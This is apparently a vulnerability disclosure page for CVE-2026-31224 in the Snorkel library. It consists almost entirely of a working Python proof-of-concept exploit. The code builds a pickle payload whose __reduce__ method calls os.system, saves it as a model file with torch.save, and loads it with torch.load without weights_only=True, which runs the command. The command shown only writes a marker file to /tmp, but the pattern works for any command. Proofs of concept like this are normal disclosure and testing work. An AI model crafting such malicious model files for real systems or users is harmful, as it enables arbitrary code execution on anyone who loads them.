CVE-2026-31224 Snorkel库不安全反序列化漏洞

import os import torch import pickle # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # Execute a shell command when unpickled # Example: creating a file to prove execution return (os.system, ('echo "CVE-2026-31224 Exploit Success" > /tmp/pwned.txt',)) # Create the malicious model file def create_malicious_model(filename): malicious_obj = MaliciousPayload() # torch.save uses pickle by default torch.save(malicious_obj, filename) print(f"[+] Malicious model file created: {filename}") # Simulate the vulnerable loading process def simulate_vulnerable_load(filename): try: print(f"[*] Attempting to load model using vulnerable torch.load()...") # This mimics Snorkel's MultitaskClassifier.load() behavior # which calls torch.load() without weights_only=True data = torch.load(filename) print("[-] Model loaded.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": model_file = "exploit_model.pt" create_malicious_model(model_file) simulate_vulnerable_load(model_file)